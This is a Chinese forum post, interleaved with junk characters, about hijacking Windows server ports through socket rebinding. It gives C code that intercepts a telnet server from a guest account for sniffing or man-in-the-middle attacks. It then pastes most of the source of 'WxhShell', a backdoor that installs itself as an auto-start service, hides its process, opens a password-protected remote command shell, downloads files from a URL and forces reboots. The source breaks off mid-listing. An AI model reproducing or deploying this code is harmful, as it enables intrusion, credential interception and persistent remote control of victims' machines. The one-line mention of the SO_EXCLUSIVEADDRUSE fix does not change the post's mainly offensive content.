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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HJg&fkHn1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "0PsCr}!  
hL/u5h%$  
  saddr.sin_family = AF_INET; zL+t&P[\  
ZPE-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 084Us s  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1HNP@9ga  
Ow>u!P!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aG;F=e  
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  这意味着什么?意味着可以进行如下的攻击: 9b=0 4aWHm  
N5zWeFq@6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sk9Ejaf6>  
D ON.)F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >i  
Q.Nw#r+m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VS ECD;u4c  
oZ/"^5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V]J"v#!{  
ly34aD/p~,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1o\2\B=k{  
=TEe:%mN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *V:U\G  
!4+Die X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :^`j:B  
`. JW_F)1  
  #include 25`W"x_  
  #include L`<#vi  
  #include 4rL`||  
  #include    ~cp=B>*(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /f?;,CyI  
  int main() 9*FA=E  
  { _J \zj  
  WORD wVersionRequested; =/'>.p3/S  
  DWORD ret; 4.,|vtp  
  WSADATA wsaData; 3,G|oR{D  
  BOOL val; ^,=}'H]  
  SOCKADDR_IN saddr; rMJ@oc  
  SOCKADDR_IN scaddr; SbX^DAlB1  
  int err; nT=%3_.  
  SOCKET s; PtUS7[]  
  SOCKET sc; Wx3DWY;  
  int caddsize; . mO8 ~Z  
  HANDLE mt; H74'I}  
  DWORD tid;   ,^mEi  
  wVersionRequested = MAKEWORD( 2, 2 ); mB0`>?#i  
  err = WSAStartup( wVersionRequested, &wsaData ); UGM:'xa<T  
  if ( err != 0 ) { j8e=],sQ  
  printf("error!WSAStartup failed!\n"); j^b &Q  
  return -1; Oz\J+  
  } bt1bTo  
  saddr.sin_family = AF_INET; rusM]Z  
   T;Kv<G;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LC=M{\  
V]Ccj\Oi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); emJZ+:%  
  saddr.sin_port = htons(23); T7ShE-X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Iw?^  
  { 34)l3UI~  
  printf("error!socket failed!\n"); . &}x[~g  
  return -1; D8w.r"ne  
  } =HMCNl  
  val = TRUE; 7mi=Xa:U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @/As|)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X0ugnQ6  
  { EqD@o  
  printf("error!setsockopt failed!\n"); %CQa8<q  
  return -1; wb#[&2i  
  } bSI*`Dc"!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bf^K?:r"V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mg70%=qM0f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SI6?b1;-:F  
23=wz%tF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tp~Qg{%Og  
  { (mi=I3A(  
  ret=GetLastError(); 90J WU$K  
  printf("error!bind failed!\n"); UZiL NKc  
  return -1; 3\ )bg R:  
  } AxJqLSfyb,  
  listen(s,2); ]x& R=)P  
  while(1) )<'2 vpz  
  { fK@UlMC]7  
  caddsize = sizeof(scaddr); 60|m3|0o  
  //接受连接请求 OHngpe4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); buKkm$@w  
  if(sc!=INVALID_SOCKET) HCktgL:E=  
  { S>HfyZ&Pc  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _,Q -)\  
  if(mt==NULL) I L&PN`#  
  { 0 >(hiT y<  
  printf("Thread Creat Failed!\n"); 4|j Pr J  
  break; DeN2P  
  } A$P Oc<  
  } Y?oeP^V'u  
  CloseHandle(mt); N-p||u  
  } ) TNG0[  
  closesocket(s); !YM:?%B  
  WSACleanup(); ^'sy hI\  
  return 0; 6lr<{k7Nw  
  }   vvG*DGL)qL  
  DWORD WINAPI ClientThread(LPVOID lpParam) nGJ+.z  
  { yi-)4#YN  
  SOCKET ss = (SOCKET)lpParam; Oeg^%Y   
  SOCKET sc; @%MGLR{pH  
  unsigned char buf[4096]; 7}mr C@[i  
  SOCKADDR_IN saddr; j->5%y  
  long num; >n&+<06  
  DWORD val; C2hB7?UGN  
  DWORD ret; PC,I"l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `- 9p)@'8k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0w2<2grQ  
  saddr.sin_family = AF_INET; '2p,0Bk9i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [;C*9Nl  
  saddr.sin_port = htons(23);  </Dv?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `Z@qWB<  
  { )\izL]=!t  
  printf("error!socket failed!\n"); =@;\9j  
  return -1; N71%l  
  } P>] *pD  
  val = 100; M"OCwBT U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @7?L+.r$9  
  { I^``x+a  
  ret = GetLastError(); DL '{ rK  
  return -1; jpiBHi]5+  
  } SUoUXh^!w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^"J)^3j<  
  { .Ax]SNZ+:A  
  ret = GetLastError(); / \k\HK8  
  return -1; N<HJ}geC "  
  } j;&su=p"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1|7t q  
  { q+ 9c81b  
  printf("error!socket connect failed!\n"); SivJaY%  
  closesocket(sc); ~2 J!I^ J  
  closesocket(ss); @$|bMH*1:  
  return -1; K@!Gs'Op  
  } &UX:KW`=  
  while(1) yt`K^07@  
  { ",45p@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]6?6 k4@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =i Wn T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gp]T.ol  
  num = recv(ss,buf,4096,0); GaOM|F'>  
  if(num>0) 1n>(CwLG"  
  send(sc,buf,num,0); =zwn3L8fL  
  else if(num==0) C.=[K_  
  break; z7O$o/E-*  
  num = recv(sc,buf,4096,0); hyC]{E  
  if(num>0) <L<d_  
  send(ss,buf,num,0); {} Zqaf  
  else if(num==0) .QM>^(o$Z  
  break; `z6I][Uf  
  } "l-R|>6~  
  closesocket(ss); j:'8yFi_  
  closesocket(sc); & ]1gx#  
  return 0 ; %2`.*]L  
  } pn aSOyR  
@`:z$52  
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========================================================== v4X)R "jJ  
]R]%c*tA  
下边附上一个代码,,WXhSHELL a/lTQj]A  
q3/ 0xN+?  
========================================================== Pbl#ieZM  
PI$K+}E  
#include "stdafx.h" KWi P`h8  
}9 I,p$  
#include <stdio.h> :#Nrypsu  
#include <string.h> =]W[{@P  
#include <windows.h> 9 kLA57  
#include <winsock2.h> 'Em633  
#include <winsvc.h> CjUYwAy$k  
#include <urlmon.h> em?Q4t  
. MH;u3U  
#pragma comment (lib, "Ws2_32.lib") e# z#bz2<  
#pragma comment (lib, "urlmon.lib") `]wk)50BVp  
LHd9q ^D  
#define MAX_USER   100 // 最大客户端连接数 \JIyJ8FleC  
#define BUF_SOCK   200 // sock buffer ?dAy_| zD  
#define KEY_BUFF   255 // 输入 buffer v] hu5t  
~Nn}FNe  
#define REBOOT     0   // 重启 g0:{{w  
#define SHUTDOWN   1   // 关机 Jqz K5)  
WSOz^]  
#define DEF_PORT   5000 // 监听端口 b r\_  
.g!K| c  
#define REG_LEN     16   // 注册表键长度 Pd;Gc@'~  
#define SVC_LEN     80   // NT服务名长度 5 N:IH@  
"43F.!P  
// 从dll定义API w L4P-4'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kt7x}F(?<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )w,<XJhg`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /^=8?wK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { _~vf  
cr~.],$Om  
// wxhshell配置信息 %'.3t|zH  
struct WSCFG { /n1L},67h  
  int ws_port;         // 监听端口 @z>DJ>htN  
  char ws_passstr[REG_LEN]; // 口令 a6\`r^@  
  int ws_autoins;       // 安装标记, 1=yes 0=no -.l.@  
  char ws_regname[REG_LEN]; // 注册表键名 z8cefD9F  
  char ws_svcname[REG_LEN]; // 服务名 1C(sBU"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w$"^)E G,7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }mpFo 2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j%=X ps  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^o4](l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y+nX(@~f]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XvVi)`8!u  
<."KejXg-  
}; U< <XeSp  
_fS4a134R  
// default Wxhshell configuration zZ;V9KM>v  
struct WSCFG wscfg={DEF_PORT, 2WC$r8E  
    "xuhuanlingzhe", GI6]Ecc  
    1, Sg*+!  
    "Wxhshell", -^q;e]+J  
    "Wxhshell", 0X5b32  
            "WxhShell Service", f4$sH/ 2#v  
    "Wrsky Windows CmdShell Service", ZmmX_!M  
    "Please Input Your Password: ", d .%2QkL  
  1, 1)!2D?w  
  "http://www.wrsky.com/wxhshell.exe", D7=Irz!O\7  
  "Wxhshell.exe" nf1O8FwRb  
    }; a[p$e?gka  
.q1y)l-^Z  
// 消息定义模块 i6<uj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n'[>h0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oRZe?h^r#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rE]Nr ;Ys  
char *msg_ws_ext="\n\rExit."; \ &47u1B  
char *msg_ws_end="\n\rQuit."; _r>kR7A\{  
char *msg_ws_boot="\n\rReboot..."; yhrjML2K  
char *msg_ws_poff="\n\rShutdown..."; 2_}oOt?qiM  
char *msg_ws_down="\n\rSave to "; ae" o|Q  
F)4I70vG  
char *msg_ws_err="\n\rErr!"; ZG-#YF.1  
char *msg_ws_ok="\n\rOK!"; _0UE*l$t  
(2UA,  
char ExeFile[MAX_PATH]; TbLU[(m-n  
int nUser = 0; (,KzyR=*'  
HANDLE handles[MAX_USER]; xT(0-o*  
int OsIsNt; En)Ptz#0  
c\/-*OYr<  
SERVICE_STATUS       serviceStatus; K+"3He  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kp^"<%RT  
Mdq|: ^px  
// 函数声明 2qojU%fiH  
int Install(void);  W =;,ls  
int Uninstall(void); aRElk&M  
int DownloadFile(char *sURL, SOCKET wsh); Y% JE})  
int Boot(int flag); g/}d> 6  
void HideProc(void); JY@bD:  
int GetOsVer(void); kR3wbA  
int Wxhshell(SOCKET wsl); Xu E' %;:  
void TalkWithClient(void *cs); w}#3 pU<<  
int CmdShell(SOCKET sock); M?DZShkV_  
int StartFromService(void); P&=YLL<W  
int StartWxhshell(LPSTR lpCmdLine); ![$`Ivro`  
nCQ".G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :,M+njcFc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ghc U ~  
(>E/C^Tc%  
// 数据结构和表定义 `JY+3d,Ui  
SERVICE_TABLE_ENTRY DispatchTable[] = %@)R  
{ L>mM6$l  
{wscfg.ws_svcname, NTServiceMain}, _iCrQJ0"T  
{NULL, NULL}  v\CBw"  
}; %hN(79:g  
FPkk\[EU  
// 自我安装 *C0a,G4  
int Install(void) .c&&@>m@.  
{ {&XTa`C  
  char svExeFile[MAX_PATH]; ~JNE]mg  
  HKEY key;  otfmM]f  
  strcpy(svExeFile,ExeFile); (X-( WMsqQ  
Nsq=1) <  
// 如果是win9x系统,修改注册表设为自启动 OI*ltba?  
if(!OsIsNt) { lZ)6d-vK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,A7:zxnc.V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); he/rt#  
  RegCloseKey(key); ,9}JPv4Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QH4m7M@ni  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TB?'<hD:  
  RegCloseKey(key); f0Q! lMv  
  return 0; xb%Q[V_m  
    }  B9y5NX  
  } I4+1P1z  
} ZMZWO$"K1  
else { R.2i%cU  
-^yc<%U  
// 如果是NT以上系统,安装为系统服务 GM9[ 0+u;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tmoCy0qWz  
if (schSCManager!=0) gY[G>D=  
{ lK7:qo  
  SC_HANDLE schService = CreateService t#_6GL  
  ( wJJ|]^0.  
  schSCManager, x=a#|]ngG  
  wscfg.ws_svcname, Qj1%'wWG  
  wscfg.ws_svcdisp, ROfV Y:,M  
  SERVICE_ALL_ACCESS, \'u+iB g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mt0v (  
  SERVICE_AUTO_START, "N_@q2zF  
  SERVICE_ERROR_NORMAL, Iurz?dt4w  
  svExeFile, e 2N F.  
  NULL, J Q*~le*  
  NULL, 0vDvp`ie#4  
  NULL, CdCY#$Z  
  NULL, 3AR'Zvn  
  NULL 7b-[# g  
  ); |0u qW1  
  if (schService!=0) %La/E#  
  { u81F^72U  
  CloseServiceHandle(schService); dc~vQDNw[X  
  CloseServiceHandle(schSCManager); `FNU- I4s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DwFvM0O6\  
  strcat(svExeFile,wscfg.ws_svcname); @>~S$nw/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n%;tVa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q2]7|C  
  RegCloseKey(key); +/n]9l]#h  
  return 0; 5syzh S  
    } u 1}dHMoX~  
  } XAF]B,h=  
  CloseServiceHandle(schSCManager); ^mI`P}5Y  
} ]5`A8-Q@  
} oz:J.<j24Z  
ujX\^c  
return 1; }V.fY3J-  
} -~\7ZRP8  
6rG7/  
// 自我卸载 wV$V X  
int Uninstall(void) m|+zMf&  
{ =8p[ (<F=  
  HKEY key; 1uA-!T*e>  
HP3%CB  
if(!OsIsNt) { r[kHVT8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .1J`>T?=Q  
  RegDeleteValue(key,wscfg.ws_regname); 93w$ck},?G  
  RegCloseKey(key); l<sWM$ez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R~TG5^(  
  RegDeleteValue(key,wscfg.ws_regname); c[OQo~m$  
  RegCloseKey(key); \[+':o`LH  
  return 0; CSm(yB{|pC  
  } ! c~3`7v  
} pAN$c "  
} Z$YG'p{S  
else { .&^M Z8  
l>HB0o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zn*i  
if (schSCManager!=0) 5KYR"-jY  
{ nu|odP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G jrN1+9=  
  if (schService!=0) W`wT0kP?*]  
  { V-i:t,*lk(  
  if(DeleteService(schService)!=0) { a5@lWpQsV  
  CloseServiceHandle(schService); W$" >\A0%  
  CloseServiceHandle(schSCManager); f%YD+Dt_V  
  return 0; iqXsD gkr  
  } jJ_6_8#  
  CloseServiceHandle(schService); DshRH>7s8  
  } % =v<3  
  CloseServiceHandle(schSCManager); zfml^N  
} /dVcNo3"  
} a9nXh6  
VN@ZYSs  
return 1; } /Iw]!lK2  
} k1FG$1.  
z]i/hU  
// 从指定url下载文件 ue}lAW{q  
int DownloadFile(char *sURL, SOCKET wsh) gD6BPW~0  
{ e=Kr>~q=  
  HRESULT hr; MS%h`Ypo  
char seps[]= "/"; >LR+dShG  
char *token; <{1 3Nd'o  
char *file; 3Q+THg3~?  
char myURL[MAX_PATH]; b@[5xv\J  
char myFILE[MAX_PATH]; LGVGr  
v[?eL0Z  
strcpy(myURL,sURL); ;|K(6)  
  token=strtok(myURL,seps); H*dQT y,  
  while(token!=NULL) aw0xi,Jz  
  { s0'Xihsw6  
    file=token; Hn(L0#Oqy  
  token=strtok(NULL,seps); -Ar 3>d  
  } 3^AS8%qG  
TWQ{, B  
GetCurrentDirectory(MAX_PATH,myFILE); O7I|<H/gVE  
strcat(myFILE, "\\"); .J|" bs9  
strcat(myFILE, file); hLLg  
  send(wsh,myFILE,strlen(myFILE),0); Wv)2dD2I  
send(wsh,"...",3,0); = P {]3K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BhJ~jV"  
  if(hr==S_OK) ?x &"EhA>  
return 0; E)l@uPA'1  
else %(wa~:m+S-  
return 1; C{):jH,Rf  
-n$fh::^  
} }vdhk0  
Ndx  ]5  
// 系统电源模块 7J2i /m  
int Boot(int flag) t%<d}QuHW  
{ ^?tF'l`  
  HANDLE hToken; A@"CrVE  
  TOKEN_PRIVILEGES tkp; qu/59D  
v0}.!u>Ww  
  if(OsIsNt) { X\1'd,V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j^Z3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s?*MZC  
    tkp.PrivilegeCount = 1; . RNQlh3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O-vvFl#4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /z+}xRS  
if(flag==REBOOT) { Ye_)~,{,p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P A9 ]L  
  return 0; z|SLH<~  
} x3my8'h@  
else { " U&   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2FS,B\d  
  return 0; ,Tyh._sa  
} `7|v  
  } <H~  (iQ  
  else { #3u;Ox  
if(flag==REBOOT) { iffRGnN^e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #.%;U' #O  
  return 0; NPEs0|  
} -U=bC   
else { ^YKEc0"w(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rj% q)aw'  
  return 0; ` oYrW0Vm  
} W$P)fPU'  
} fN>o465I6  
(a1s~  
return 1; [N925?--S  
} I "9S  
r!etj3  
// win9x进程隐藏模块 o% !a  
void HideProc(void) @QMMtfeLj  
{ mg*[,_3q33  
#G^?4Z a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y9 , KOs  
  if ( hKernel != NULL ) FbHk6(/)  
  { fXBA P10#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t8 #&bU X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $q{-)=-BXQ  
    FreeLibrary(hKernel); 4RNB\D  
  } q?{wRBVVB  
a! P?RbW  
return; 2bfKD'!aH  
} do%6P^ qA  
Z@ * ^4Ve  
// 获取操作系统版本 W[: n*h  
int GetOsVer(void) +^!&-g@(  
{ X) xQKkL0  
  OSVERSIONINFO winfo; X[ }5hZcX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sUcx;<|BC  
  GetVersionEx(&winfo); < ppg$;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vVmoV0kGt  
  return 1; Q'&oSPXSDd  
  else TB4|dj-%  
  return 0; ;+`t[ go  
} diGPTV-?$  
EV z>#GC  
// 客户端句柄模块 ;zIAh[z  
int Wxhshell(SOCKET wsl) 4}Y2 B$  
{ Uoh!1_oV  
  SOCKET wsh; ! &Vp5]c  
  struct sockaddr_in client; B_anO{3$4  
  DWORD myID; e-ILUzT  
t0d1? ?G  
  while(nUser<MAX_USER) znzh$9tH  
{ J84Q|E  
  int nSize=sizeof(client); V.6h6B!vB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VlXUrJ9&  
  if(wsh==INVALID_SOCKET) return 1; ds,NNN<HW  
 PW x9CT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jc"xH~,  
if(handles[nUser]==0) <T+)~&g$  
  closesocket(wsh); J1T_wA_  
else ;z/Z(7<; ;  
  nUser++; +Fp8cT=1  
  } !jGe_xB}~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j{U?kW{o  
W~z 2Q so  
  return 0; Cb5;l~}L  
} Jw)Uk< \  
Tz[ck 'k  
// 关闭 socket //n$#c _}u  
void CloseIt(SOCKET wsh) I{U7BZy  
{ _8Cw_  
closesocket(wsh); ;fw}<M!6  
nUser--; nj$TdwZbK  
ExitThread(0); U1}-]^\  
} j\iE3:94$  
"`qmeZ$rg  
// 客户端请求句柄 6e0tA()F  
void TalkWithClient(void *cs) $ (/=Wn  
{ ZxLdh8v.  
Z:9xf:g *  
  SOCKET wsh=(SOCKET)cs; vVQwuV  
  char pwd[SVC_LEN]; \9j +ejGf  
  char cmd[KEY_BUFF]; .\XFhOsa  
char chr[1]; /.P9n9  
int i,j; #@FMH*?xX6  
vqO d`_)  
  while (nUser < MAX_USER) { LH/lnrN  
,Ta k',  
if(wscfg.ws_passstr) { dt&m YSZ}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >G7dw1;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ""$vaqt  
  //ZeroMemory(pwd,KEY_BUFF); ;Z^\$v9?  
      i=0; C.qN Bl*  
  while(i<SVC_LEN) { s^f7w  
T_iX1blrgh  
  // 设置超时 4Z8FLA+T,  
  fd_set FdRead; U'~M(9uv:  
  struct timeval TimeOut; [g )HoR=&  
  FD_ZERO(&FdRead); S$#"bK/p^  
  FD_SET(wsh,&FdRead); (;\" K?  
  TimeOut.tv_sec=8; Ckd j|  
  TimeOut.tv_usec=0; 6Qtyv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZHu"& &  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4eVQO%&2  
6g*?(Y][  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mok94XuK)  
  pwd=chr[0]; 7R5m|h`M  
  if(chr[0]==0xd || chr[0]==0xa) { Q1kZ+b&  
  pwd=0; p^.qwP\P  
  break; ?D>%+rK8c  
  } l4Au{%j\  
  i++; v']Tusmg  
    } z)%Ke~)<\@  
,GeW_!Q[  
  // 如果是非法用户,关闭 socket 8'WoG]E_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '=AqC,\#  
} J:Mn 5hdK=  
wjtFZGx&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K<wg-JgA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;t~Y>,  
oUl0w~Xn  
while(1) { m@Hg:DY  
E!A+J63zsw  
  ZeroMemory(cmd,KEY_BUFF); 8I8{xt4   
xe"A;6H  
      // 自动支持客户端 telnet标准   &s#OiF8  
  j=0; P*|qbY  
  while(j<KEY_BUFF) { mX2X.ww(4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q}P UwN6  
  cmd[j]=chr[0]; .(^%M 2:6  
  if(chr[0]==0xa || chr[0]==0xd) { [L>mrHqG  
  cmd[j]=0; \h>6k  
  break; |zbM$37 ?k  
  } ^*G UcQ$  
  j++; b.q/? Yx  
    } ke<l@w O  
kfY. 9$(d  
  // 下载文件 XqLR2 d  
  if(strstr(cmd,"http://")) { /Qu<>#[?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T O&^%d  
  if(DownloadFile(cmd,wsh)) 7aS%;EU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zYxA#TZL  
  else %0 p9\I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !k<k]^Z\  
  } 4`Cgz#v {  
  else { xsIfR3Ze9  
E]Q d5l  
    switch(cmd[0]) { =}" P;4:  
  }#q0K  
  // 帮助 _WGWU7h  
  case '?': { U#x`u|L&6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZcHd.1fXh  
    break; _'|C-j`u$  
  } "r=p/"4D  
  // 安装 n5 <B*  
  case 'i': { S c ijf 9  
    if(Install()) Y .E.(\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \'r;1W  
    else >E7s}bL"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SmS6B5j\R  
    break; KBoW(OP4'  
    } 29nMm>P.e  
  // 卸载 r]'[qaP  
  case 'r': { E9w"?_A)  
    if(Uninstall()) ^jXKM!}-E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "!Nu A  
    else FzOlM-)m   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .] 0:`Y,;  
    break; >[N6_*K]  
    } =Qn8Y`U  
  // 显示 wxhshell 所在路径 J|@O4 g   
  case 'p': { q&&uX-ez5W  
    char svExeFile[MAX_PATH]; @nnX{$YX  
    strcpy(svExeFile,"\n\r"); ? <w[ZWytm  
      strcat(svExeFile,ExeFile); _7R6%^  
        send(wsh,svExeFile,strlen(svExeFile),0); 5k c?:U&  
    break; C,8@V`  
    } 3t5W wrNh  
  // 重启 M=fhRCUB  
  case 'b': { @.=2*e.z|b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {qm5H7sL  
    if(Boot(REBOOT)) Bnz}:te}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J! "m{ 8-  
    else { ?btX&:j2P  
    closesocket(wsh); o9v.]tb  
    ExitThread(0); l xP!WP  
    } j'XND`3  
    break; #%]?e N  
    } `uc`vkVZ  
  // 关机 QbYNL9%  
  case 'd': { ()fYhk|W  
